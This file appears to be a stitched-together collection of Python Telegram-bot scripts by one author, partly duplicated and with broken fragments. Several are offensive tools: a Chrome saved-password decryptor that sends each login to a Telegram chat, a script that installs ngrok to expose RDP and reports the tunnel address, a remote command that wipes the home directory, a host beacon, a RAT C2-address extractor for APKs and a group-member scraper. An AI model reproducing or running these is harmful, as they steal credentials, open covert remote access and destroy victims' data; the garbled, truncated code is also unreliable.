import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
    hash_md5 = hashlib.md5()
    with open(file_path, "rb") as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()

def decode_base64(encoded_str):
    padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
    decoded_bytes = base64.b64decode(padded_str)
    return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
    md5_hash = calculate_md5(apk_path)
    results = []
    
    with tempfile.TemporaryDirectory() as temp_dir:
        result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        if result.returncode != 0:
            return "Error: jadx failed to decompile the APK."
        
        java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
        client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
        client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

        for file_path in java_files:
            with open(file_path, 'r', encoding='utf-8') as file:
                content = file.read()
                
                host_matches = client_host_pattern.findall(content)
                port_matches = client_port_pattern.findall(content)
                
                if host_matches and port_matches:
                    host_base64 = host_matches[0]
                    port_base64 = port_matches[0]
                    
                    try:
                        decoded_host = decode_base64(host_base64)
                        decoded_port = decode_base64(port_base64)
                        message = (f"IP: {decoded_host}\n"
                                   f"Port: {decoded_port}\n"
                                   f"Join: @EFXTV")
                        results.append(message)
                    except Exception as e:
                        results.append(f"Error decoding base64 strings: {e}")
        
    return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
    await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
    file = update.message.document
    file_id = file.file_id
    file_name = file.file_name
    file_path = os.path.join(tempfile.gettempdir(), file_name)

    try:
        # Get the file object
        telegram_file = await context.bot.get_file(file_id)
        # Download the file
        await telegram_file.download_to_drive(file_path)
        # Process the APK file
        message = extract_ips_and_ports_from_apk(file_path)
        # Send the result back to the user
        await update.message.reply_text(message)
    except Exception as e:
        await update.message.reply_text(f"An error occurred: {e}")
    finally:
        # Clean up the temporary file
        if os.path.exists(file_path):
            os.remove(file_path)

def main():
    application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
    
    application.add_handler(CommandHandler('start', start))
    application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

    application.run_polling()

if __name__ == '__main__':
    main()

import requests
import json
import socket
import zipfile
import subprocess
import time
import os
from pathlib import Path
import asyncio
from telegram import Bot

TELEGRAM_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_to_telegram(message):
    bot = Bot(token=TELEGRAM_TOKEN)
    await bot.send_message(chat_id=CHAT_ID, text=message)

def startng():
    ngrok_path = r'C:\temp\ngrok\ngrok.exe'
    
    command = [ngrok_path, 'tcp', '3389']
    
    with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
        process = subprocess.Popen(command, stdout=log_file, stderr=log_file)
    time.sleep(7)

    return

def notexist():
    os.makedirs(r'C:\temp\ngrok', exist_ok=True)
    url = "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip"
    output_path = r"C:\temp\ngrok\ngrok.zip"
    extract_dir = r"C:\temp\ngrok"

    response = requests.get(url, stream=True)

    with open(output_path, "wb") as file:
        for chunk in response.iter_content(chunk_size=8192):
            file.write(chunk)

    with zipfile.ZipFile(output_path, 'r') as zip_ref:
        zip_ref.extractall(extract_dir)

    command = r'C:\temp\ngrok\ngrok.exe config add-authtoken YOUR_AUTHTOKEN'  # Replace with your ngrok authtoken
    with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
        subprocess.run(command, stdout=log_file, stderr=log_file, shell=True)

    return


def exist():
    url = "http://localhost:4040/api/tunnels"
    response = requests.get(url)
    data = response.json()

    public_url = data['tunnels'][0]['public_url']
    result = public_url.replace('tcp://', '')

    IP, PO = result.split(':')

    ip_address = socket.gethostbyname(IP)

    # Prepare the message to send to Telegram
    output_message = f"> IP: {ip_address}\n> PO: {PO}"

    # Run the async function to send the message to Telegram
    asyncio.run(send_to_telegram(output_message))
    
    return 

a = Path(r"C:\temp\ngrok\ngrok.exe")
# Check if the file exists and call the respective function
if a.exists():
    startng()
    exist()
else:
    notexist()
    startng()
    exist()

import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
    hash_md5 = hashlib.md5()
    with open(file_path, "rb") as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()

def decode_base64(encoded_str):
    padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
    decoded_bytes = base64.b64decode(padded_str)
    return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
    md5_hash = calculate_md5(apk_path)
    results = []
    
    with tempfile.TemporaryDirectory() as temp_dir:
        result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        if result.returncode != 0:
            return "Error: jadx failed to decompile the APK."
        
        java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
        client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
        client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

        for file_path in java_files:
            with open(file_path, 'r', encoding='utf-8') as file:
                content = file.read()
                
                host_matches = client_host_pattern.findall(content)
                port_matches = client_port_pattern.findall(content)
                
                if host_matches and port_matches:
                    host_base64 = host_matches[0]
                    port_base64 = port_matches[0]
                    
                    try:
                        decoded_host = decode_base64(host_base64)
                        decoded_port = decode_base64(port_base64)
                        message = (f"IP: {decoded_host}\n"
                                   f"Port: {decoded_port}\n"
                                   f"Join: @EFXTV")
                        results.append(message)
                    except Exception as e:
                        results.append(f"Error decoding base64 strings: {e}")
        
    return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
    await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
    file = update.message.document
    file_id = file.file_id
    file_name = file.file_name
    file_path = os.path.join(tempfile.gettempdir(), file_name)

    try:
        # Get the file object
        telegram_file = await context.bot.get_file(file_id)
        # Download the file
        await telegram_file.download_to_drive(file_path)
        # Process the APK file
        message = extract_ips_and_ports_from_apk(file_path)
        # Send the result back to the user
        await update.message.reply_text(message)
    except Exception as e:
        await update.message.reply_text(f"An error occurred: {e}")
    finally:
        # Clean up the temporary file
        if os.path.exists(file_path):
            os.remove(file_path)

def main():
    application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
    
    application.add_handler(CommandHandler('start', start))
    application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

    application.run_polling()

if __name__ == '__main__':
    main()

if __name__ == '__main__':
    try:
        with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
            csv_writer = csv.writer(decrypt_password_file, delimiter=',')
            csv_writer.writerow(["index", "url", "username", "password"])
            secret_key = get_secret_key()
            folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$", element) != None]
            for folder in folders:
                chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data" % (CHROME_PATH, folder))
                conn = get_db_connection(chrome_path_login_db)
                if(secret_key and conn):
                    cursor = conn.cursor()
                    cursor.execute("SELECT action_url, username_value, password_value FROM logins")
                    for index, login in enumerate(cursor.fetchall()):
                        url = login[0]
                        username = login[1]
                        ciphertext = login[2]
                        if(url != "" and username != "" and ciphertext != ""):
                            decrypted_password = decrypt_password(ciphertext, secret_key)
                            csv_writer.writerow([index, url, username, decrypted_password])
                            message = f"<b>URL:</b> {url}\n<b>Username:</b> {username}\n<b>Password:</b> {decrypted_password}"
                            send_telegram_message(message)

                    cursor.close()
                    conn.close()
                    os.remove("Loginvault.db")
    except Exception as e:
        print("[ERR] %s" % str(e))

import sys
import logging
import asyncio
from datetime import datetime
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from apscheduler.triggers.cron import CronTrigger
import pytz

from telegram import Bot
from telegram.error import TelegramError

# ========================
# CONFIGURATION
BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN_HERE"
GROUP_ID_OR_USERNAME = "@yourgroupusername_or_chatid"
# ========================

logging.basicConfig(
    format='%(asctime)s - %(levelname)s - %(message)s',
    level=logging.INFO
)
logger = logging.getLogger(__name__)

def read_post_content(filepath):
    try:
        with open(filepath, 'r', encoding='utf-8') as f:
            return f.read()
    except Exception as e:
        logger.error(f"Failed to read post content from {filepath}: {e}")
        sys.exit(1)

async def send_message(bot, chat_id_or_username, text):
    try:
        await bot.send_message(chat_id=chat_id_or_username, text=text)
        logger.info("Message sent successfully.")
    except TelegramError as e:
        logger.error(f"Failed to send message: {e}")

async def scheduled_job(bot, chat_id_or_username, post_content):
    logger.info("Scheduled job triggered. Sending message...")
    await send_message(bot, chat_id_or_username, post_content)

def parse_args():
    if len(sys.argv) < 5 or sys.argv[2] != "-t":
        print('Usage: python app.py post.txt -t "HH:MM" "Timezone"')
        sys.exit(1)

    post_file = sys.argv[1]
    time_str = sys.argv[3]
    timezone_str = sys.argv[4]

    try:
        hour, minute = map(int, time_str.split(":"))
    except ValueError:
        logger.error("Time format must be HH:MM (e.g. 14:50)")
        sys.exit(1)

    if timezone_str not in pytz.all_timezones:
        logger.warning(f"Unknown timezone '{timezone_str}'. Defaulting to Asia/Kolkata (IST).")
        timezone_str = "Asia/Kolkata"

    return post_file, hour, minute, timezone_str

def main():
    post_file, hour, minute, timezone_str = parse_args()

    if BOT_TOKEN == "YOUR_TELEGRAM_BOT_TOKEN_HERE" or GROUP_ID_OR_USERNAME == "@yourgroupusername_or_chatid":
        logger.error("Please set your BOT_TOKEN and GROUP_ID_OR_USERNAME in the script.")
        sys.exit(1)

    post_content = read_post_content(post_file)
    bot = Bot(token=BOT_TOKEN)

    scheduler = AsyncIOScheduler(timezone=pytz.timezone(timezone_str))

    scheduler.add_job(
        scheduled_job,
        trigger=CronTrigger(hour=hour, minute=minute),
        args=[bot, GROUP_ID_OR_USERNAME, post_content],
        id="daily_post",
        replace_existing=True,
    )

    scheduler.start()
    logger.info(f"Scheduled post at {hour:02d}:{minute:02d} {timezone_str}. Waiting...")

    try:
        asyncio.get_event_loop().run_forever()
    except (KeyboardInterrupt, SystemExit):
        logger.info("Shutting down scheduler...")
        scheduler.shutdown()

if __name__ == "__main__":
    main()

from telethon.sync import TelegramClient
from telethon.tl.functions.channels import GetParticipantsRequest
from telethon.tl.types import ChannelParticipantsSearch

import asyncio


api_id = 123456      # Replace with your actual API ID
api_hash = 'your_api_hash_here'
 or invite link
target_group = 'https://t.me/group_or_channel_username'

client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start()
    
    print(f"Connecting to {target_group}...")
    entity = await client.get_entity(target_group)

    print("Fetching members...")
    offset = 0
    limit = 100
    all_participants = []

    while True:
        participants = await client(GetParticipantsRequest(
            channel=entity,
            filter=ChannelParticipantsSearch(''),
            offset=offset,
            limit=limit,
            hash=0
        ))
        if not participants.users:
            break
        all_participants.extend(participants.users)
        offset += len(participants.users)

    print(f"Total users fetched: {len(all_participants)}")

    with open('users.txt', 'w', encoding='utf-8') as f:
        for user in all_participants:
            username = user.username or ''
            first_name = user.first_name or ''
            last_name = user.last_name or ''
            full_name = f"{first_name} {last_name}".strip()
            f.write(f"{username} - {full_name}\n")

    await client.send_file('me', 'users.txt', caption="Here is the list of users.")
    print("users.txt sent to your Saved Messages.")

with client:
    client.loop.run_until_complete(main())

import os
import subprocess
import logging
from telegram import Update, InputFile
from telegram.ext import (
    ApplicationBuilder,
    MessageHandler,
    CommandHandler,
    ContextTypes,
    filters
)

# Telegram bot by @efxtve

BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN"  # <-- Replace with your token
KEYSTORE_FILE = "auto-release.keystore"
ALIAS = "auto"
STOREPASS = "password"
KEYPASS = "password"
KEYTOOL = "/usr/bin/keytool"
APKSIGNER = "/usr/bin/apksigner"

logging.basicConfig(level=logging.INFO)

def create_keystore():
    if os.path.exists(KEYSTORE_FILE):
        return
    subprocess.run([
        KEYTOOL, "-genkey", "-v",
        "-keystore", KEYSTORE_FILE,
        "-alias", ALIAS,
        "-keyalg", "RSA",
        "-keysize", "2048",
        "-validity", "10000",
        "-storepass", STOREPASS,
        "-keypass", KEYPASS,
        "-dname", "CN=Auto Signer, OU=Dev, O=Auto, L=City, S=State, C=US"
    ], check=True)

def sign_apk(apk_path):
    subprocess.run([
        APKSIGNER, "sign",
        "--ks", KEYSTORE_FILE,
        "--ks-key-alias", ALIAS,
        "--ks-pass", f"pass:{STOREPASS}",
        "--key-pass", f"pass:{KEYPASS}",
        apk_path
    ], check=True)

# --- Handlers ---
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await update.message.reply_text(
        "👋 Send an unsigned APK.\n\n"
    )

async def handle_apk(update: Update, context: ContextTypes.DEFAULT_TYPE):
    document = update.message.document
    if not document.file_name.endswith(".apk"):
        await update.message.reply_text("❌ Please send a valid `.apk` file.")
        return

    await update.message.reply_text("📥 Downloading APK...")
    file = await context.bot.get_file(document.file_id)
    apk_filename = f"input_{document.file_name}"
    await file.download_to_drive(apk_filename)

    try:
        create_keystore()
        sign_apk(apk_filename)
        await update.message.reply_text("✅ APK signed successfully. Sending back...")

        with open(apk_filename, "rb") as f:
            await update.message.reply_document(InputFile(f, filename=f"signed_{document.file_name}"))

    except subprocess.CalledProcessError:
        await update.message.reply_text("❌ Failed to sign APK.")
    finally:
        os.remove(apk_filename)

def main():
    app = ApplicationBuilder().token(BOT_TOKEN).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(MessageHandler(filters.Document.ALL, handle_apk))
    print("[*] Bot is running...")
    app.run_polling()

if __name__ == "__main__":
    main()

import os
import shutil
import logging
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, ContextTypes

# Enable logging
logging.basicConfig(
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO
)
logger = logging.getLogger(__name__)

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'
AUTHORIZED_USER_ID = 'YOUR_TELEGRAM_USER_ID'  # Replace with your Telegram user ID (int)

def hard_reset():
    home_dir = os.path.expanduser("~")
    for root, dirs, files in os.walk(home_dir, topdown=False):
        for name in files:
            try:
                os.remove(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete file {name}: {e}")
        for name in dirs:
            try:
                shutil.rmtree(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete directory {name}: {e}")

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    await update.message.reply_text('Hello! Send /hardreset to wipe all data.')

async def hardreset_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    user = update.effective_user
    if user.id != AUTHORIZED_USER_ID:
        await update.message.reply_text("Unauthorized access.")
        return

    await update.message.reply_text("Starting hard reset...")
    try:
        hard_reset()
        await update.message.reply_text("Hard reset completed.")
    except Exception as e:
        await update.message.reply_text(f"Error during hard reset: {e}")

def main():
    app = ApplicationBuilder().token(TOKEN).build()

    app.add_handler(CommandHandler("start", start))
    app.add_handler(CommandHandler("hardreset", hardreset_command))

    app.run_polling()

if __name__ == '__main__':
    main()

import requests
import socket
import platform

TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = 'YOUR_CHAT_ID'

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("192.168.1.1", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "Could not determine IP"

def send_message():
    ip = get_local_ip()
    msg = f"OS: {platform.system()}\nIP: {ip} is up"
    url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
    requests.post(url, data={'chat_id': CHAT_ID, 'text': msg})

if __name__ == "__main__":
    send_message()